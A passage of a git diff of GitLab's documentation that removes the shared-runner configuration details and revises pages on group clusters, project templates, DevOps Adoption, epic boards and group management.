+| [Number of webhooks](../../administration/instance_limits.md#number-of-webhooks) | `100` per-project, `50` per-group | `100` per-project, `50` per-group
+| Maximum payload size | `25 MB` | `25 MB`
## Shared runners
-GitLab offers Linux and Windows shared runners hosted on GitLab.com for executing your pipelines.
+GitLab has shared runners on GitLab.com that you can use to run your CI jobs.
-NOTE:
-Shared runners provided by GitLab are **not** configurable. Consider [installing your own runner](https://docs.gitlab.com/runner/install/) if you have specific configuration needs.
-
-### Linux shared runners
-
-Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform.
-
-Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each project, thus maximizing security. These shared runners are available for users and customers on GitLab.com.
-
-GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier.
-
-All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine
-installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
-region of the VMs is US East1.
-Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs.
-
-The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
-
-Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
-**time out after 3 hours**, regardless of the timeout configured in a
-project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
-
-Below are the shared runners settings.
-
-| Setting | GitLab.com | Default |
-| ----------- | ----------------- | ---------- |
-| [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) | [Runner versions dashboard](https://dashboards.gitlab.com/d/000000159/ci?from=now-1h&to=now&refresh=5m&orgId=1&panelId=12&fullscreen&theme=light) | - |
-| Executor | `docker+machine` | - |
-| Default Docker image | `ruby:2.5` | - |
-| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` |
-
-#### Pre-clone script
-
-Linux shared runners on GitLab.com provide a way to run commands in a CI
-job before the runner attempts to run `git init` and `git fetch` to
-download a GitLab repository. The
-[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
-can be used for:
-
-- Seeding the build directory with repository data
-- Sending a request to a server
-- Downloading assets from a CDN
-- Any other commands that must run before the `git init`
-
-To use this feature, define a [CI/CD variable](../../ci/variables/README.md#custom-cicd-variables) called
-`CI_PRE_CLONE_SCRIPT` that contains a bash script.
-
-[This example](../../development/pipelines.md#pre-clone-step)
-demonstrates how you might use a pre-clone step to seed the build
-directory.
-
-#### `config.toml`
-
-The full contents of our `config.toml` are:
-
-NOTE:
-Settings that are not public are shown as `X`.
-
-**Google Cloud Platform**
-
-```toml
-concurrent = X
-check_interval = 1
-metrics_server = "X"
-sentry_dsn = "X"
-
-[[runners]]
- name = "docker-auto-scale"
- request_concurrency = X
- url = "https://gitlab.com/"
- token = "SHARED_RUNNER_TOKEN"
- pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\""
- executor = "docker+machine"
- environment = [
- "DOCKER_DRIVER=overlay2",
- "DOCKER_TLS_CERTDIR="
- ]
- limit = X
- [runners.docker]
- image = "ruby:2.5"
- privileged = true
- volumes = [
- "/certs/client",
- "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP.
- ]
- [runners.machine]
- IdleCount = 50
- IdleTime = 3600
- MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused.
- MachineName = "srm-%s"
- MachineDriver = "google"
- MachineOptions = [
- "google-project=PROJECT",
- "google-disk-size=25",
- "google-machine-type=n1-standard-1",
- "google-username=core",
- "google-tags=gitlab-com,srm",
- "google-use-internal-ip",
- "google-zone=us-east1-d",
- "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928
- "google-machine-image=PROJECT/global/images/IMAGE",
- "engine-opt=ipv6", # This will create IPv6 interfaces in the containers.
- "engine-opt=fixed-cidr-v6=fc00::/7",
- "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600
- ]
- [[runners.machine.autoscaling]]
- Periods = ["* * * * * sat,sun *"]
- Timezone = "UTC"
- IdleCount = 70
- IdleTime = 3600
- [[runners.machine.autoscaling]]
- Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"]
- Timezone = "UTC"
- IdleCount = 700
- IdleTime = 3600
- [runners.cache]
- Type = "gcs"
- Shared = true
- [runners.cache.gcs]
- CredentialsFile = "/path/to/file"
- BucketName = "bucket-name"
-```
-
-### Windows shared runners (beta)
-
-The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
-and shouldn't be used for production workloads.
-
-During this beta period, the [shared runner pipeline quota](../admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
-applies for groups and projects in the same manner as Linux runners. This may
-change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834).
-
-Windows shared runners on GitLab.com autoscale by launching virtual machines on
-the Google Cloud Platform. This solution uses an
-[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md)
-developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html).
-Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with
-2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in
-the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md).
-
-We want to keep iterating to get Windows shared runners in a stable state and
-[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
-You can follow our work towards this goal in the
-[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162).
-
-#### Configuration
-
-The full contents of our `config.toml` are:
-
-NOTE:
-Settings that aren't public are shown as `X`.
-
-```toml
-concurrent = X
-check_interval = 3
-
-[[runners]]
- name = "windows-runner"
- url = "https://gitlab.com/"
- token = "TOKEN"
- executor = "custom"
- builds_dir = "C:\\GitLab-Runner\\builds"
- cache_dir = "C:\\GitLab-Runner\\cache"
- shell = "powershell"
- [runners.custom]
- config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"]
- prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"]
- run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"]
- cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"]
-```
-
-The full contents of our `autoscaler/config.toml` are:
-
-```toml
-Provider = "gcp"
-Executor = "winrm"
-OS = "windows"
-LogLevel = "info"
-LogFormat = "text"
-LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log"
-VMTag = "windows"
-
-[GCP]
- ServiceAccountFile = "PATH"
- Project = "some-project-df9323"
- Zone = "us-east1-c"
- MachineType = "n1-standard-2"
- Image = "IMAGE"
- DiskSize = 50
- DiskType = "pd-standard"
- Subnetwork = "default"
- Network = "default"
- Tags = ["TAGS"]
- Username = "gitlab_runner"
-
-[WinRM]
- MaximumTimeout = 3600
- ExecutionMaxRetries = 0
-
-[ProviderCache]
- Enabled = true
- Directory = "C:\\GitLab-Runner\\autoscaler\\machines"
-```
-
-#### Example
-
-Below is a simple `.gitlab-ci.yml` file to show how to start using the
-Windows shared runners:
-
-```yaml
-.shared_windows_runners:
- tags:
- - shared-windows
- - windows
- - windows-1809
-
-stages:
- - build
- - test
-
-before_script:
- - Set-Variable -Name "time" -Value (date -Format "%H:%m")
- - echo ${time}
- - echo "started by ${GITLAB_USER_NAME}"
-
-build:
- extends:
- - .shared_windows_runners
- stage: build
- script:
- - echo "running scripts in the build job"
-
-test:
- extends:
- - .shared_windows_runners
- stage: test
- script:
- - echo "running scripts in the test job"
-```
-
-#### Limitations and known issues
-
-- All the limitations mentioned in our [beta
- definition](https://about.gitlab.com/handbook/product/#beta).
-- The average provisioning time for a new Windows VM is 5 minutes.
- This means that you may notice slower build start times
- on the Windows shared runner fleet during the beta. In a future
- release we intend to update the autoscaler to enable
- the pre-provisioning of virtual machines. This is intended to significantly reduce
- the time it takes to provision a VM on the Windows fleet. You can
- follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
-- The Windows shared runner fleet may be unavailable occasionally
- for maintenance or updates.
-- The Windows shared runner virtual machine instances do not use the
- GitLab Docker executor. This means that you can't specify
- [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in
- your pipeline configuration.
-- For the beta release, we have included a set of software packages in
- the base VM image. If your CI job requires additional software that's
- not included in this list, then you must add installation
- commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required
- software. Note that each job runs on a new VM instance, so the
- installation of additional software packages needs to be repeated for
- each job in your pipeline.
-- The job may stay in a pending state for longer than the
- Linux shared runners.
-- There is the possibility that we introduce breaking changes which will
- require updates to pipelines that are using the Windows shared runner
- fleet.
+For more information, see [choosing a runner](../../ci/runners/README.md).
## Sidekiq
@@ -502,26 +232,12 @@ for `shared_buffers` is quite high and as such we are looking into adjusting it.
More information on this particular change can be found at
<https://gitlab.com/gitlab-com/infrastructure/-/issues/1555>. An up to date list
of proposed changes can be found at
-<https://gitlab.com/gitlab-com/infrastructure/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=database&label_name[]=change>.
+<https://gitlab.com/gitlab-com/infrastructure/-/issues?scope=all&state=opened&label_name[]=database&label_name[]=change>.
## Puma
GitLab.com uses the default of 60 seconds for [Puma request timeouts](https://docs.gitlab.com/omnibus/settings/puma.html#worker-timeout).
-## Unicorn
-
-GitLab.com adjusts the memory limits for the [unicorn-worker-killer](https://rubygems.org/gems/unicorn-worker-killer) gem.
-
-Base default:
-
-- `memory_limit_min` = 750MiB
-- `memory_limit_max` = 1024MiB
-
-Web front-ends:
-
-- `memory_limit_min` = 1024MiB
-- `memory_limit_max` = 1280MiB
-
## GitLab.com-specific rate limits
NOTE:
diff --git a/doc/user/group/bulk_editing/index.md b/doc/user/group/bulk_editing/index.md
index 48644b7427d..feceafd0991 100644
--- a/doc/user/group/bulk_editing/index.md
+++ b/doc/user/group/bulk_editing/index.md
@@ -1,5 +1,6 @@
---
redirect_to: '../../../user/group/index.md'
+remove_date: '2021-08-13'
---
This document was moved to [another location](../../../user/group/index.md).
diff --git a/doc/user/group/clusters/index.md b/doc/user/group/clusters/index.md
index 87b259df9d8..4de464822f7 100644
--- a/doc/user/group/clusters/index.md
+++ b/doc/user/group/clusters/index.md
@@ -17,12 +17,11 @@ your group, enabling you to use the same cluster across multiple projects.
To view your group level Kubernetes clusters, navigate to your project and select
**Kubernetes** from the left-hand menu.
-## Installing applications
+## Cluster management project
-GitLab can install and manage some applications in your group-level
-cluster. For more information on installing, upgrading, uninstalling,
-and troubleshooting applications for your group cluster, see
-[GitLab Managed Apps](../../clusters/applications.md).
+Attach a [cluster management project](../../clusters/management_project.md)
+to your cluster to manage shared resources requiring `cluster-admin` privileges for
+installation, such as an Ingress controller.
## RBAC compatibility
@@ -72,9 +71,6 @@ for deployments with a cluster not managed by GitLab, you must ensure:
(this is [not automatic](https://gitlab.com/gitlab-org/gitlab/-/issues/31519)). Editing
`KUBE_NAMESPACE` directly is discouraged.
-If you [install applications](#installing-applications) on your cluster, GitLab creates
-the resources required to run them, even if you choose to manage your own cluster.
-
### Clearing the cluster cache
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31759) in GitLab 12.6.
@@ -100,7 +96,7 @@ per [multiple Kubernetes clusters](#multiple-kubernetes-clusters) When specifyin
this is automatically set as an environment variable (`KUBE_INGRESS_BASE_DOMAIN`) during
the [Auto DevOps](../../../topics/autodevops/index.md) stages.
-The domain should have a wildcard DNS configured to the Ingress IP address.
+The domain should have a wildcard DNS configured to the Ingress IP address. [More details](../../project/clusters/index.md#base-domain).
## Environment scopes **(PREMIUM)**
diff --git a/doc/user/group/custom_project_templates.md b/doc/user/group/custom_project_templates.md
index 016bda329b2..d544003536e 100644
--- a/doc/user/group/custom_project_templates.md
+++ b/doc/user/group/custom_project_templates.md
@@ -9,26 +9,29 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6861) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.6.
-Custom project templates are useful for organizations that need to create many similar types of [projects](../project/index.md) and want to start from the same jumping-off point.
+Custom project templates are useful for organizations that need to create many similar types of
+[projects](../project/index.md).
+Projects created from these templates serve as a common starting point.
## Setting up group-level project templates
-To use a custom project template for a new project you need to:
+To use a custom project template for a new project:
-1. [Create a 'templates' subgroup](subgroups/index.md).
-1. [Add repositories (projects) to the that new subgroup](index.md#add-projects-to-a-group), as your templates.
-1. Edit your group's settings to look to your 'templates' subgroup for templates:
- 1. In the left-hand menu, click **{settings}** **Settings > General**.
+1. [Create a `templates` subgroup](subgroups/index.md).
+1. [Add repositories (projects) to that new subgroup](index.md#add-projects-to-a-group),
+ as your templates.
+1. Edit your group's settings to look to your _templates_ subgroup for templates:
- NOTE:
- If you don't have access to the group's settings, you may not have sufficient privileges (for example, you may need developer or higher permissions).
-
- 1. Scroll to **Custom project templates** and click **Expand**. If no **Custom project templates** section displays, make sure you've created a subgroup, and added a project (repository) to it.
- 1. Select the 'templates' subgroup.
+ 1. In the left menu, select **Settings > General**. If you don't have access to the
+ group's settings, you may not have sufficient privileges (for example, you may need developer
+ or higher permissions).
+ 1. Scroll to **Custom project templates** and select **Expand**. If no **Custom project templates**
+ section displays, make sure you've created a subgroup and added a project (repository) to it.
+ 1. Select the **templates** subgroup.
### Example structure
-Here is a sample group/project structure for a hypothetical "Acme Co" for project templates:
+Here's a sample group/project structure for project templates, for a hypothetical _Acme Co_:
```plaintext
# GitLab instance and group
@@ -53,24 +56,22 @@ gitlab.com/acmeco/
### Adjust Settings
-Users can configure a GitLab group that serves as template
-source under a group's **Settings > General > Custom project templates**.
-
-NOTE:
-GitLab administrators can
-[set project templates for an entire GitLab instance](../admin_area/custom_project_templates.md).
-
-Within this section, you can configure the group where all the custom project
-templates are sourced. Every project _template_ directly under the group namespace is
-available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions) except for GitLab Pages are set to **Everyone With Access**.
-
-However, private projects will be available only if the user is a member of the project.
+Users can configure a GitLab group that serves as template source under a group's
+**Settings > General > Custom project templates**.
NOTE:
-Only direct subgroups can be set as the template source. Projects of nested subgroups of a selected template source cannot be used.
-
-Repository and database information that are copied over to each new project are
-identical to the data exported with the [GitLab Project Import/Export](../project/settings/import_export.md).
+GitLab administrators can [set project templates for an entire GitLab instance](../admin_area/custom_project_templates.md).
+
+Within this section, you can configure the group where all the custom project templates are sourced.
+If all enabled [project features](../project/settings/index.md#sharing-and-permissions)
+(except for GitLab Pages) are set to **Everyone With Access**, then every project template directly
+under the group namespace is available to every signed-in user. However, private projects are
+available only if the user is a member of the project. Also note that only direct subgroups can be
+set as the template source. Projects of nested subgroups of a selected template source cannot be
+used.
+
+Repository and database information that are copied over to each new project are identical to the
+data exported with the [GitLab Project Import/Export](../project/settings/import_export.md).
<!-- ## Troubleshooting
diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png
deleted file mode 100644
index a6ece47ba9a..00000000000
--- a/doc/user/group/devops_adoption/img/group_devops_adoption_v13_11.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png b/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png
new file mode 100644
index 00000000000..91055f660da
--- /dev/null
+++ b/doc/user/group/devops_adoption/img/group_devops_adoption_v14_0.png
Binary files differ
diff --git a/doc/user/group/devops_adoption/index.md b/doc/user/group/devops_adoption/index.md
index 5a23e1559bc..f98325143cc 100644
--- a/doc/user/group/devops_adoption/index.md
+++ b/doc/user/group/devops_adoption/index.md
@@ -18,21 +18,25 @@ Refer to this feature's version history for more details.
Prerequisites:
-- A minimum of [Reporter access](../../permissions.md) to the group.
+- You must have at least the [Reporter role](../../permissions.md) for the group.
To access Group DevOps Adoption, go to your group and select **Analytics > DevOps Adoption**.
Group DevOps Adoption shows you how individual groups and sub-groups within your organization use the following features:
-- Approvals
-- Deployments
-- Issues
-- Merge Requests
-- Pipelines
-- Runners
-- Scans
-
-When managing groups in the UI, you can manage your sub-groups with the **Add/Remove sub-groups**
+- Dev
+ - Issues
+ - Merge Requests
+ - Approvals
+ - Code owners
+- Sec
+ - Scans
+- Ops
+ - Runners
+ - Pipelines
+ - Deployments
+
+When managing groups in the UI, you can add your sub-groups with the **Add sub-group to table**
button, in the top right hand section of your Groups pages.
With DevOps Adoption you can:
@@ -41,7 +45,7 @@ With DevOps Adoption you can:
- Identify specific sub-groups that are lagging in their adoption of GitLab so you can help them along in their DevOps journey.
- Find the sub-groups that have adopted certain features and can provide guidance to other sub-groups on how to use those features.
-![DevOps Report](img/group_devops_adoption_v13_11.png)
+![DevOps Report](img/group_devops_adoption_v14_0.png)
## Enable data processing
diff --git a/doc/user/group/epics/epic_boards.md b/doc/user/group/epics/epic_boards.md
index 343f7c496b1..2f9dc27d87f 100644
--- a/doc/user/group/epics/epic_boards.md
+++ b/doc/user/group/epics/epic_boards.md
@@ -6,17 +6,12 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Epic Boards **(PREMIUM)**
-> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2864) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../../administration/feature_flags.md).
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
-
-The GitLab Epic Board is a software project management tool used to plan,
-organize, and visualize a workflow for a feature or product release.
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5067) in GitLab 13.10.
+> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/290039) in GitLab 14.0.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/feature_flags.md).
Epic boards build on the existing [epic tracking functionality](index.md) and
[labels](../../project/labels.md). Your epics appear as cards in vertical lists, organized by their assigned
@@ -24,45 +19,156 @@ labels.
To view an epic board, in a group, select **Epics > Boards**.
-![GitLab epic board - Premium](img/epic_board_v13_10.png)
+![GitLab epic board - Premium](img/epic_board_v14_0.png)
## Create an epic board
+Prerequisites:
+
+- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab.
+
To create a new epic board:
-1. Select the dropdown with the current board name in the upper left corner of the Epic Boards page.
+1. Go to your group and select **Epics > Boards**.
+1. In the upper left corner, select the dropdown with the current board name.
1. Select **Create new board**.
-1. Enter the new board's name and select **Create**.
+1. Enter the new board's title.
+1. Optional. To hide the Open or Closed lists, clear the **Show the Open list** and
+ **Show the Closed list** checkboxes.
+1. Optional. Set board scope:
+ 1. Next to **Scope**, select **Expand**.
+ 1. Next to **Labels**, select **Edit** and select the labels to use as board scope.
+1. Select **Create board**.
+
+Now you can [add some lists](#create-a-new-list).
+To change these options later, [edit the board](#edit-the-scope-of-an-epic-board).
+
+## Delete an epic board
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5079) in GitLab 14.0.
+
+Prerequisites:
+
+- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab.
+- A minimum of two boards present in a group.
+
+To delete the active epic board:
+
+1. Select the dropdown with the current board name in the upper left corner of the Epic Boards page.
+1. Select **Delete board**.
+1. Select **Delete**.
+
+## Actions you can take on an epic board
+
+- [Create a new list](#create-a-new-list).
+- [Remove an existing list](#remove-a-list).
+- [Filter epics](#filter-epics).
+- Create workflows, like when using [issue boards](../../project/issue_board.md#create-workflows).
+- [Move epics and lists](#move-epics-and-lists).
+- Change epic labels (by dragging an epic between lists).
+- Close an epic (by dragging it to the **Closed** list).
+- [Edit the scope of a board](#edit-the-scope-of-an-epic-board).
+
+### Create a new list
+
+Prerequisites:
+
+- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab.
+
+To create a new list:
+
+1. Go to your group and select **Epics > Boards**.
+1. In the upper-right corner, select **Create list**.
+1. In the **New list** column expand the **Select a label** dropdown and select the label to use as
+ list scope.
+1. Select **Add to board**.
+
+### Remove a list
+
+Removing a list doesn't have any effect on epics and labels, as it's just the
+list view that's removed. You can always create it again later if you need.
+
+Prerequisites:
+
+- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab.
+
+To remove a list from an epic board:
-## Limitations of epic boards
+1. On the top of the list you want to remove, select the **List settings** icon (**{settings}**).
+ The list settings sidebar opens on the right.
+1. Select **Remove list**. A confirmation dialog appears.
+1. Select **OK**.
-As of GitLab 13.10, these limitations apply:
+### Filter epics
-- Epic Boards need to be enabled by an administrator.
-- Epic Boards can be created but not deleted.
-- Lists can be added to the board but not deleted.
-- There is no sidebar on the board. To edit an epic, go to the epic's page.
-- There is no drag and drop support yet. To move an epic between lists, edit epic labels on the epic's page.
-- Epics cannot be re-ordered within the list.
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5079) in GitLab 14.0.
-To learn more about the future iterations of this feature, visit
-[epic 5067](https://gitlab.com/groups/gitlab-org/-/epics/5067).
+Use the filters on top of your epic board to show only
+the results you want. It's similar to the filtering used in the epic list,
+as the metadata from the epics and labels is re-used in the epic board.
-## Enable or disable Epic Boards
+You can filter by the following:
-Epic Boards are under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
+- Author
+- Label
+
+### Move epics and lists
+
+> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/5079) in GitLab 14.0.
+
+You can move epics and lists by dragging them.
+
+Prerequisites:
+
+- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab.
+
+To move an epic, select the epic card and drag it to another position in its current list or
+into another list. Learn about possible effects in [Dragging epics between lists](#dragging-epics-between-lists).
+
+To move a list, select its top bar, and drag it horizontally.
+You can't move the **Open** and **Closed** lists, but you can hide them when editing an epic board.
+
+#### Dragging epics between lists
+
+When you drag epics between lists, the result is different depending on the source list
+and the target list.
+
+| | To Open | To Closed | To label B list |
+| --------------------- | -------------- | ---------- | ------------------------------ |
+| **From Open** | - | Close epic | Add label B |
+| **From Closed** | Reopen epic | - | Reopen epic and add label B |
+| **From label A list** | Remove label A | Close epic | Remove label A and add label B |
+
+### Edit the scope of an epic board
+
+Prerequisites:
+
+- A minimum of [Reporter](../../permissions.md#group-members-permissions) access to a group in GitLab.
+
+To edit the scope of an epic board:
+
+1. In the upper-right corner, select **Edit board**.
+1. Optional:
+ - Edit the board's title.
+ - Show or hide the Open and Closed columns.
+ - Select other labels as the board's scope.
+1. Select **Save changes**.
+
+## Enable or disable epic boards
+
+Epic boards are under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can enable it.
+can disable it.
-To enable it:
+To disable it:
```ruby
-Feature.enable(:epic_boards)
+Feature.disable(:epic_boards)
```
-To disable it:
+To enable it:
```ruby
-Feature.disable(:epic_boards)
+Feature.enable(:epic_boards)
```
diff --git a/doc/user/group/epics/img/epic_board_v13_10.png b/doc/user/group/epics/img/epic_board_v13_10.png
deleted file mode 100644
index 85a131ea605..00000000000
--- a/doc/user/group/epics/img/epic_board_v13_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/group/epics/img/epic_board_v14_0.png b/doc/user/group/epics/img/epic_board_v14_0.png
new file mode 100644
index 00000000000..e6b4e40aa05
--- /dev/null
+++ b/doc/user/group/epics/img/epic_board_v14_0.png
Binary files differ
diff --git a/doc/user/group/epics/manage_epics.md b/doc/user/group/epics/manage_epics.md
index 7bb021b4b1f..89fd32a8db1 100644
--- a/doc/user/group/epics/manage_epics.md
+++ b/doc/user/group/epics/manage_epics.md
@@ -385,32 +385,7 @@ To remove a child epic from a parent epic:
## Cached epic count
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299540) in GitLab 13.11.
-> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default.
-> - It's enabled on GitLab.com.
-> - It's recommended for production use.
-> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-cached-epic-count).
-
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/327320) in GitLab 14.0.
In a group, the sidebar displays the total count of open epics and this value is cached if higher
than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours.
-
-### Enable or disable cached epic count **(PREMIUM SELF)**
-
-Cached epic count in the left sidebar is under development but ready for production use. It is
-deployed behind a feature flag that is **enabled by default**.
-[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md)
-can disable it.
-
-To disable it:
-
-```ruby
-Feature.disable(:cached_sidebar_open_epics_count)
-```
-
-To enable it:
-
-```ruby
-Feature.enable(:cached_sidebar_open_epics_count)
-```
diff --git a/doc/user/group/import/index.md b/doc/user/group/import/index.md
index 14464ff1a5f..8bf995a4fd9 100644
--- a/doc/user/group/import/index.md
+++ b/doc/user/group/import/index.md
@@ -69,6 +69,8 @@ The following resources are migrated to the target instance:
- name
- link URL
- image URL
+- Boards
+- Board Lists
Any other items are **not** migrated.
@@ -105,7 +107,7 @@ on an existing group's page.
![Navigation paths to create a new group](img/new_group_navigation_v13_8.png)
-1. On the New Group page, select the **Import group** tab.
+1. On the New Group page, select **Import group**.
![Fill in import details](img/import_panel_v13_8.png)
@@ -115,7 +117,8 @@ on an existing group's page.
### Selecting which groups to import
-After you have authorized access to GitLab instance, you are redirected to the GitLab Group Migration importer page and your remote GitLab groups are listed.
+After you have authorized access to the GitLab instance, you are redirected to the GitLab Group
+Migration importer page. Your remote GitLab groups, which you have Owner access to, are listed.
1. By default, the proposed group namespaces match the names as they exist in remote instance, but based on your permissions, you can choose to edit these names before you proceed to import any of them.
diff --git a/doc/user/group/index.md b/doc/user/group/index.md
index 7f2e502b94b..104ea57db4a 100644
--- a/doc/user/group/index.md
+++ b/doc/user/group/index.md
@@ -23,7 +23,8 @@ For larger organizations, you can also create [subgroups](subgroups/index.md).
To view groups:
-1. In the top menu, select **Groups > Your Groups**. All groups you are a member of are displayed.
+1. On the top bar, select **Menu > Groups**.
+1. Select **Your Groups**. All groups you are a member of are displayed.
1. To view a list of public groups, select **Explore public groups**.
You can also view groups by namespace.
@@ -48,9 +49,10 @@ For example, consider a user named Alex:
To create a group:
-1. From the top menu, either:
- - Select **Groups > Your Groups**, and on the right, select the **New group** button.
+1. On the top bar, either:
+ - Select **Menu > Groups**, and on the right, select **Create group**.
- To the left of the search box, select the plus sign and then **New group**.
+1. Select **Create group**.
1. For the **Group name**, use only:
- Alphanumeric characters
- Emojis
@@ -74,18 +76,20 @@ For details about groups, watch [GitLab Namespaces (users, groups and subgroups)
You can give a user access to all projects in a group.
-1. From the top menu, select **Groups > Your Groups**.
+1. On the top bar, select **Menu > Groups**.
+1. Select **Your Groups**.
1. Find your group and select it.
1. From the left sidebar, select **Members**.
1. Fill in the fields.
- - The role applies to all projects in the group. [Learn more about permissions](../permissions.md#permissions).
+ - The role applies to all projects in the group. [Learn more about permissions](../permissions.md).
- On the **Access expiration date**, the user can no longer access projects in the group.
## Request access to a group
As a user, you can request to be a member of a group, if an administrator allows it.
-1. From the top menu, select **Groups > Your Groups**.
+1. On the top bar, select **Menu > Groups**.
+1. Select **Your Groups**.
1. Find the group and select it.
1. Under the group name, select **Request Access**.
@@ -100,7 +104,8 @@ If you change your mind before your request is approved, select
As a group owner, you can prevent non-members from requesting access to
your group.
-1. From the top menu, select **Groups > Your Groups**.
+1. On the top bar, select **Menu > Groups**.
+1. Select **Your Groups**.
1. Find the group and select it.
1. From the left menu, select **Settings > General**.
1. Expand the **Permissions, LFS, 2FA** section.
@@ -110,22 +115,22 @@ your group.
## Change the owner of a group
You can change the owner of a group. Each group must always have at least one
-member with [Owner permission](../permissions.md#group-members-permissions).
+member with the [Owner role](../permissions.md#group-members-permissions).
- As an administrator:
1. Go to the group and from the left menu, select **Members**.
- 1. Give a different member **Owner** permissions.
- 1. Refresh the page. You can now remove **Owner** permissions from the original owner.
+ 1. Give a different member the **Owner** role.
+ 1. Refresh the page. You can now remove the **Owner** role from the original owner.
- As the current group's owner:
1. Go to the group and from the left menu, select **Members**.
- 1. Give a different member **Owner** permissions.
